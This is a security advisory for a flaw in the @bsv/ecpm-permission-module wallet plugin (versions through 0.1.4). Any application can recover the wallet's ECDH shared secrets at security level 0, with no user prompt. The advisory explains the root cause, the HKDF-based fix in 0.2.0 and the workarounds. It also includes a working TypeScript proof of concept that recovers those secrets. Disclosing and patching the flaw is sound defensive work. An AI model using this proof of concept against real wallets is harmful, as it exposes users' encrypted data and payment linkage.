# GHSA-M3C6-3MV8-J86F: @bsv/ecpm-permission-module (BRC-229) discloses wallet ECDH secrets with third parties and itself without a prompt

- Database: GitHub
- Severity: high (stated by ghsa, no CVSS score)
- Published: 2026-11-20
- Modified: 2026-11-20

## Affected versions

- @bsv/ecpm-permission-module (npm): through 0.1.4

## Description

### Summary

The BRC-229 `p ecpm` permission module returns `d·P` for a caller-chosen point `P`, where `d` is the raw BRC-42/43 child private key. Because the BRC-42 offset in `d` is derived from a shared secret the caller can compute for a non-`self` counterparty, a caller can set `P` to a third party's identity key or the wallet's own identity key and strip the offset to recover the wallet's root ECDH shared secret `root·Q` with that party or `root·I` with `self` — at security level 0, with no user prompt.

From these secrets the caller can recompute BRC-2 symmetric/HMAC keys for third parties and `self`, decrypt accessible `self` ciphertexts, and link derived public keys (e.g. correlate BRC-29 payment outputs). It does not expose private signing or spending keys. The third-party linkage secret is also protected by `revealCounterpartyKeyLinkage` behind its own permission.

Affected: all published versions 0.1.0–0.1.4 (present since the first commit). Fixed in published 0.2.0. The public BRC-229 specification also required the vulnerable construction; its matching amendment is proposed in [BRCs PR #388](https://github.com/bsv-blockchain/BRCs/pull/388). The distinct BRC-206 / `@bsv/rabin-permission-module` construction is not affected. No exploitation observed. Other hosts that register the module are affected.

### Details

A BRC-100 wallet host that installs this module under the `ecpm` scheme exposes, to any application that can call `getPublicKey`, recovery of the wallet's BRC-42 ECDH shared secret `root·Q` with any third party `Q` of the caller's choosing, or `root·I` with its own identity key `I`, with no prompt (ordinary security level 0). From those recovered shared secrets the caller can:

- recompute BRC-2 symmetric and HMAC keys between the wallet and `Q`, and for the wallet's `self` counterparty;
- decrypt accessible data encrypted to `self` (the default counterparty for `encrypt`, `decrypt`, and `createHmac`), and link the wallet's and `Q`'s derived public keys for any protocol (e.g. correlate BRC-29 payment outputs).

It does not yield private signing/spending keys — `d·G` discrete-log hardness is untouched; the leak is the ECDH *point*. A single malicious or compromised application page is sufficient.

### Root cause

`src/EcpmPermissionModule.ts` uses the BRC-42/43 child private key `d` directly as the returned scalar and returns `d·P`. BRC-42 gives:

    d = root + o,    o = HMAC(sharedSecret, invoiceNumber)

For `counterparty: 'anyone'`, `sharedSecret` is the wallet's own identity public key (public). For a counterparty key the caller holds, the caller computes `sharedSecret` itself. Either way the caller computes `o`. Setting `P = Q` (a third party's identity key) and stripping:

    apply(Q) = d·Q = (root + o)·Q
    d·Q − o·Q = root·Q = ECDH(root, Q)

Returning any value linear in `d` for an attacker-chosen point is the defect. The `self` offset is also exposed: with `P = I = root·G` and counterparty `anyone`, the caller obtains `root·I = root²·G` by the same subtraction, then computes every `self` offset.

In the code, `handleRequest` derives the key with `keyDeriver.derivePrivateKey(...)` and `#multiply` multiplies the point by that key directly (its modular inverse for `remove`); `#ensureAuthorized` returns early at security level 0, so no prompt occurs.

### Affected versions

`@bsv/ecpm-permission-module` 0.1.0 – 0.1.4 (all published). Fixed in 0.2.0. The three load-bearing elements — the raw child key used as the scalar, the level-0 early return, and `counterparty` permitting `self`/`anyone`/any key — are present in the first commit (`a1eaaa6c0`) and every commit since.

### Fix

`@bsv/ecpm-permission-module` 0.2.0 hashes the child key into the scalar, as BRC-206 does. It derives the BRC-42/43 child key as before, then computes a 48-byte HKDF-SHA256 output (extract+expand; salt `"BRC-229 p ecpm scalar v1"`, info `"BRC-229 p ecpm scalar"`) and sets `scalar = 1 + (OKM mod (n - 1))`. This maps into `[1, n)` without a zero-retry branch and keeps reduction bias below 2^-128. It multiplies the point by that scalar, and `remove` inverts the hashed scalar. The returned point is no longer linear in the raw child key, so the caller's known offset cannot be stripped, and recovering the scalar from the point is the discrete-log problem. Commutativity and `remove(apply(P)) = P` are preserved because both sides hash the same derivation identity.

- Breaking change: every ECPM scalar changes, under every counterparty including `self`, so a point masked with 0.1.x cannot be unmasked with 0.2.0. Finish or restart any in-progress protocol on one version, and do not mix versions among participants. Request arguments, result format, permissions and peer ranges are unchanged.
- The BRC-229 amendment in [BRCs PR #388](https://github.com/bsv-blockchain/BRCs/pull/388) matches: the HKDF step is specified byte for byte under "Canonical scalar derivation", a new "Hashed scalar" section under Security gives this rationale, the scalar and result vectors are replaced (the BRC-42 child keys are unchanged), and a Revision History entry records the change.
- Alternative considered and rejected: accepting only `self` would close this oracle by removing `anyone` and named counterparties, but it would remove the counterparty-scoped key universe BRC-229 specifies (its vector 4). The hashed-scalar fix preserves that feature.

The fix (module, regression tests, README, docs page and release notes) is merged in [TS Stack PR #1647](https://github.com/bsv-blockchain/ts-stack/pull/1647) at main commit `83db2a13777cfe6c0bb419aa0171e39ec5293c08`. All 56 ECPM package tests pass, including third-party, `self`, caller-held-counterparty, and teardown regressions. Property tests, typecheck, lint, build, `pack:check`, browser contract, local repository health, audit, documentation and version gates, exact-head PR CI, exact-main CI and CodeQL passed. The published npm tarball has verified SHA-512 integrity and SLSA provenance tied to that commit. The [whole-stack release](https://github.com/bsv-blockchain/ts-stack/actions/runs/44815451896/attempts/2) completed successfully; all 38 governed npm packages and eight GHCR infrastructure images were independently validated against the synced main release. The three exploit regressions reproduce recovery on the 0.1.4 source and reject it on 0.2.0. Fixed scalar and point vectors match independent Node.js `crypto.hkdfSync` and `crypto.createECDH` computations.

### Proof of concept

Synthetic keys only. Run against `@bsv/sdk` with the real `EcpmPermissionModule` 0.1.4; the recovery assertions are false with released 0.2.0.

```ts
import { PrivateKey, KeyDeriver, Hash, BigNumber, Curve, Utils, Point } from '@bsv/sdk'
import { EcpmPermissionModule } from '@bsv/ecpm-permission-module'

const curve = new Curve(), n = curve.n

// Wallet under attack — the host installs the module with its ordinary key deriver.
const root = PrivateKey.fromRandom()
const identityPub = root.toPublicKey()
const mod = new EcpmPermissionModule({ keyDeriver: new KeyDeriver(root) })
// No authorize handler is needed: a level-0 request returns before it is read.

const victim = PrivateKey.fromRandom()
const Q = victim.toPublicKey()
const Qhex = Q.encode(true, 'hex')
const logical = 'mental poker deal', keyID = 'deck mask 1'

// 1. Oracle call: apply at security level 0, counterparty 'anyone' — no prompt.
const { publicKey } = await mod.handleRequest(
  { method: 'getPublicKey', originator: 'evil.example',
    args: { protocolID: [0, `p ecpm apply ${Qhex} ${logical}`], keyID, counterparty: 'anyone' } },
  async () => { throw new Error('next must not be called') }
)
const dQ = Point.fromString(publicKey)   // = d·Q

// 2. Caller computes the BRC-42 offset from public data only.
const invoice = `0-p ecpm ${logical}-${keyID}`
const o = new BigNumber(
  Hash.sha256hmac(identityPub.encode(true), Utils.toArray(invoice, 'utf8'))
).umod(n)

// 3. Strip the offset: d·Q − o·Q = root·Q.
const recovered = dQ.add(Q.mul(o).neg()).encode(true, 'hex')
const truth = root.deriveSharedSecret(Q).encode(true, 'hex')
console.log('recovered root ECDH secret == ECDH(root, Q):', recovered === truth) // true

// The same level-0 oracle also reveals the wallet's self shared secret.
const { publicKey: selfPoint } = await mod.handleRequest(
  { method: 'getPublicKey', originator: 'evil.example',
    args: { protocolID: [0, `p ecpm apply ${identityPub.encode(true, 'hex')} ${logical}`],
      keyID, counterparty: 'anyone' } },
  async () => { throw new Error('next must not be called') }
)
const recoveredSelf = Point.fromString(selfPoint).add(identityPub.mul(o).neg()).encode(true, 'hex')
const selfTruth = root.deriveSharedSecret(identityPub).encode(true, 'hex')
console.log('recovered self shared secret:', recoveredSelf === selfTruth) // true
```

**Observed results:**

- `recovered === root.deriveSharedSecret(Q)` and `recoveredSelf === selfTruth` → true on 0.1.4, without a prompt; both fail on released 0.2.0.
- The recovered secret reproduces the wallet's BRC-2 symmetric key for an unrelated protocol and counterparty: it equals `keyDeriver.deriveSymmetricKey([2, 'private messages'], 'thread 7', Q)` — the leak is not confined to the `ecpm` namespace.
- A counterparty key the caller holds works identically: compute `o` from `appPriv.deriveSharedSecret(identityPub)`.
- `P = identityPub` also recovers `root·identityPub` on 0.1.4, exposing the `self` shared secret. From it, a caller can rebuild an unrelated `self` BRC-2 symmetric key and decrypt accessible `self` ciphertexts. The 0.2.0 regression rejects this recovery.
- `remove` returns `d⁻¹·Q` and does not yield `root·Q`; it is neither a mitigation nor needed — `apply` alone is the oracle.

The regression tests in the fix are runnable versions of these recovery attempts.

### Workarounds

Upgrade to 0.2.0. Until upgraded, a host that registers the module should unregister `ecpm`; permission settings do not close the level-0 oracle.

### Impact

Information disclosure (sensitive key-material exposure). A BRC-100 wallet that installs the BRC-229 `ecpm` permission module lets any application recover, with no user prompt, the wallet's root ECDH shared secret with any third party the application names and with the wallet's own identity key (`self`). From these secrets the application can recompute BRC-2 symmetric and HMAC keys with that third party and for `self`, decrypt accessible self-encrypted data, and link derived public keys (e.g. correlate BRC-29 payment outputs). It does not expose private signing or spending keys. Impacted: any wallet host that registers this module, and that wallet's confidential relationship with every counterparty. The distinct BRC-206 / `@bsv/rabin-permission-module` construction is not affected.

## References

- https://github.com/bsv-blockchain/ts-stack/security/advisories/GHSA-m3c6-3mv8-j86f

Page: https://cve.now/GHSA-M3C6-3MV8-J86F

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
